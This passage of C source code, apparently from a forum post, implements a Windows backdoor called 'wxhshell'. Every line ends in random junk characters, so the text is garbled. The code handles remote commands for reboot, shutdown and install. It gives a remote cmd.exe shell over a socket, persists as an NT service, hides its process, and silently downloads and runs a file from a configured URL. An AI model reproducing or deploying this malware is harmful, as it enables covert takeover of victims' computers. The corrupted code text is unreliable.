  // 帮助 :5<#X8>d  
  case '?': { .J:;_4x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #}j]XWy  
    break; Avd *~  
  } X=#It&m%s  
  // 安装 2@5A&b  
  case 'i': { ywe5tU  
    if(Install()) 2moIgJ   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5"e+& zU~f  
    else vhNohCt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k?n]ZNlT  
    break; BUV/twU)  
    } y\z*p&I  
  // 卸载 ( w5f(4  
  case 'r': { t@r#b67WJe  
    if(Uninstall()) .CvFE~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +|M{I= 8  
    else 8LeK wb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y* rY~U#3  
    break; TL]bY'%  
    } Bf+^O)Ns^  
  // 显示 wxhshell 所在路径 YjL t&D:IZ  
  case 'p': { W`5a:"Vg  
    char svExeFile[MAX_PATH]; oB3q AP  
    strcpy(svExeFile,"\n\r"); m"q/,}DR  
      strcat(svExeFile,ExeFile); }eI`Qg  
        send(wsh,svExeFile,strlen(svExeFile),0); CCn/ udp@  
    break; lf;~5/%wMG  
    } rF'<r~Lw  
  // 重启 $oc9 |Q 7  
  case 'b': { k5g@myb-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =_uol8v  
    if(Boot(REBOOT)) ?|)rv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gDMAc/V`l  
    else { 6g8M7<og9R  
    closesocket(wsh); ?&XzW+(X  
    ExitThread(0); E"ZEo9y@^  
    } `fLfT'  
    break; S>(z\`1qm  
    } -S7RRh'p  
  // 关机 ` -yhl3si  
  case 'd': { /jvO XS\M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OoE9W  
    if(Boot(SHUTDOWN)) <TL])@da  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $>|?k$(x  
    else { (%Ng'~J\|  
    closesocket(wsh); {GAsFnZk  
    ExitThread(0); $>EqH?EQ  
    } \A ;^ UxG  
    break; C1n? ?Y[  
    } ZHb7+  
  // 获取shell F@Pem  
  case 's': { R2SBhs,+R  
    CmdShell(wsh); 4Sqvhz  
    closesocket(wsh); ^z38<L=z"  
    ExitThread(0); kGruo5A  
    break; h<GyplG  
  } wXP_]-  
  // 退出 /#@LRN<oCq  
  case 'x': { o}d2N/T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PVZEB  
    CloseIt(wsh); 9x4wk*z  
    break; &^AzIfX}Gw  
    } |e~u!V\m  
  // 离开 >}70]dN7b  
  case 'q': { 6|%^pjX5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JThk Wx  
    closesocket(wsh); !B0v<+;P8  
    WSACleanup(); Y=hP Erw  
    exit(1); 4(m/D>6:  
    break; Zp^)_ 0  
        } 3Gj(z:)b  
  } /7.wQeL9  
  } is64)2F](  
#)Ep(2  
  // 提示信息 PpW A f\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8u4gx<;O  
} t>XZ 3  
  }  fF\*v  
)J{.Cx<E  
  return; GU2]/\W*a  
} owP6dtd)  
o]dK^[/*  
// shell模块句柄 \o0z@Ntq  
int CmdShell(SOCKET sock) |}l@w +N3  
{ n+v!H O"2u  
STARTUPINFO si; X*_ SHt  
ZeroMemory(&si,sizeof(si)); :8GlyN<E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E=$7ieW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,oC= {^l{  
PROCESS_INFORMATION ProcessInfo; 5hlJbWJa  
char cmdline[]="cmd"; kt;}]O2%R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s4^[3|Zrr0  
  return 0; 1!K !oY  
} H Jnv'^yn  
' 2;Ny23  
// 自身启动模式 $0S.@wUG  
int StartFromService(void) e{c._zr,  
{ ,)0/Ec  
typedef struct cpP.7ZR  
{ 9|us<k  
  DWORD ExitStatus; %Y#[% ~|(  
  DWORD PebBaseAddress; x& mz-  
  DWORD AffinityMask;  "Nk`RsW  
  DWORD BasePriority; T3=-UYx]  
  ULONG UniqueProcessId; .%-6&%1  
  ULONG InheritedFromUniqueProcessId; Tb>IHoil  
}   PROCESS_BASIC_INFORMATION; XHU<4l:kl  
R^n* o  
PROCNTQSIP NtQueryInformationProcess; 8#[%?}tK  
AT2NC6{M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8 /:X& &  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mBYS"[S(  
JS<e`#c&  
  HANDLE             hProcess; okd  ``vG  
  PROCESS_BASIC_INFORMATION pbi; < P?3GT/  
EKeBTb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nPQZI6>  
  if(NULL == hInst ) return 0;  r*~n`  
' [7C~r{%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l4R<`b\Jt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k1~nd=p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JKEXYE  
X3&SL~&>g  
  if (!NtQueryInformationProcess) return 0; fRca"vV  
Oc^6u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rx@%cuP*  
  if(!hProcess) return 0; f(@"[-[  
gPA>*;?E;@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v@}1WGY  
ogkz(wZ  
  CloseHandle(hProcess); nN(D7wk  
6!gtve_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -Z[R S{#+T  
if(hProcess==NULL) return 0; s[vPH8qb  
vTe$77n  
HMODULE hMod; >*<6 zQf  
char procName[255]; +73=2.C0  
unsigned long cbNeeded; =:ya;k&  
,?7xb]h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e0G}$ as  
lEVQA*u[  
  CloseHandle(hProcess); 2l\D~ y  
7g4M/?H}K  
if(strstr(procName,"services")) return 1; // 以服务启动 rU2YMghE  
R &1mo  
  return 0; // 注册表启动 [~Z'xY y  
} $Hl+iF4j<  
2Be?5+  
// 主模块 JsWq._O{/  
int StartWxhshell(LPSTR lpCmdLine) W>t&N  
{ 1DI"LIL  
  SOCKET wsl; R9|2&pfm(M  
BOOL val=TRUE; 3_R   
  int port=0; 3<~2"@J  
  struct sockaddr_in door; QTrlQH&p  
3& fIO  
  if(wscfg.ws_autoins) Install(); /z.7: <gZ(  
E<98ahZ?l  
port=atoi(lpCmdLine); tNi% }~Z  
\r1kbf7?  
if(port<=0) port=wscfg.ws_port; GtAJ#[5w  
D~i@. k  
  WSADATA data; eD` ,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f2SU5e2  
S,)|~#5x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CLFxq@%nu~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -KU)7V  
  door.sin_family = AF_INET; 3_j C sX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JPoK\- 9NT  
  door.sin_port = htons(port); I ]WeZ,E  
*]E7}bqb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 95gsv\2  
closesocket(wsl); wn A%Nh7  
return 1; ftI+#0?[!  
} 0F0Q=dZ  
Aa\=7  
  if(listen(wsl,2) == INVALID_SOCKET) { $ <>EwW  
closesocket(wsl); bVAgul=__  
return 1; %t5BB$y  
} bCaPJ!ZO  
  Wxhshell(wsl); 4 HJZ^bq9|  
  WSACleanup(); +DbWMm  
"o5gQTwb  
return 0; 33,JUQ2u  
!>Qc2&ZV  
} _w5~/PbWt  
PhI6dB`  
// 以NT服务方式启动 6E\\`FE4y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _ c(C;s3o  
{ N|Cy!E=d  
DWORD   status = 0; #@\NdW\  
  DWORD   specificError = 0xfffffff; afP&+ 5t@O  
UmD-7Fd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %&=(,;d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rJc)< OZjT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G=bP<XF  
  serviceStatus.dwWin32ExitCode     = 0; 8HRPJSO~g  
  serviceStatus.dwServiceSpecificExitCode = 0; pJ*#aH[ySP  
  serviceStatus.dwCheckPoint       = 0; Oih2UrF  
  serviceStatus.dwWaitHint       = 0; AZ9\>U@hD  
%3l;bR>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CAo )v,f  
  if (hServiceStatusHandle==0) return; DP6{HR$L  
J PzQBc5e  
status = GetLastError(); s eZ<52f2  
  if (status!=NO_ERROR) *_).UAP.  
{ ch,Zk )y:_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D`~{[cv)\  
    serviceStatus.dwCheckPoint       = 0; iP? ASqo{  
    serviceStatus.dwWaitHint       = 0; 5q_OuZ/6  
    serviceStatus.dwWin32ExitCode     = status; Uh|__DUkh  
    serviceStatus.dwServiceSpecificExitCode = specificError; r)#"$Sm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ng&EGM  
    return; 8$<AxNR  
  } @gqs4cg{f  
)D@n?qbG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `F+x]<m!  
  serviceStatus.dwCheckPoint       = 0; *A1TDc$  
  serviceStatus.dwWaitHint       = 0; }jY[| >z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cVHE}0Xd(  
} %}ApO{  
EAd:`X,Y  
// 处理NT服务事件,比如:启动、停止 =Z>V}`n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -ynLuq#1A  
{ ]-5jgz"  
switch(fdwControl) 2eR+dT  
{ sQw`U{JG  
case SERVICE_CONTROL_STOP: G>ptwB81KM  
  serviceStatus.dwWin32ExitCode = 0; e9_O/iN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &pY G   
  serviceStatus.dwCheckPoint   = 0; u g:G9vjQ  
  serviceStatus.dwWaitHint     = 0; M+R)P +  
  { j.'"CU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \`p~b(  
  } cJWfLD>2_!  
  return; .iN*V|n  
case SERVICE_CONTROL_PAUSE: J_[[BJ&}x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]z q_gV8k  
  break; PD T\Q\J^X  
case SERVICE_CONTROL_CONTINUE: +-!|%jG`%v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b`W'M :$  
  break; F3 l^^ Mc  
case SERVICE_CONTROL_INTERROGATE: dbUZGn~  
  break; |^k1hX2?W  
}; 'GzhZ`E6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7f Tg97eF  
} 73z|'0.  
vwH7/+  
// 标准应用程序主函数 .q9|XDqQc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $E,DxDT  
{ Ee\-q  
)4_6\VaM  
// 获取操作系统版本 .yfqS|(  
OsIsNt=GetOsVer(); <&0*5|rR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q%VR@[`\  
P"_}F  
  // 从命令行安装 L%O8vn^3  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fx99"3`3  
&aAo:pj  
  // 下载执行文件 -%V-'X5  
if(wscfg.ws_downexe) { U9fF;[g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4x{ti5Y0  
  WinExec(wscfg.ws_filenam,SW_HIDE); S1= JdN  
} fQ.>G+0 I>  
zcWxyLifl0  
if(!OsIsNt) { "gikX/Co=  
// 如果时win9x,隐藏进程并且设置为注册表启动 D:vUy*  
HideProc(); lvJ{=~u  
StartWxhshell(lpCmdLine); I+d(r"N1  
} s&`XK$p  
else hG;=ci3EE  
  if(StartFromService()) y'O{8Q8T  
  // 以服务方式启动 8U:dgXz  
  StartServiceCtrlDispatcher(DispatchTable); EbYH?hPo  
else O#5( U. E  
  // 普通方式启动 cA SHgm  
  StartWxhshell(lpCmdLine); +M]8_kE=+l  
S=amjcC  
return 0; kBT}Siw  
}
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只看该作者 1 发表于: 2006-10-10
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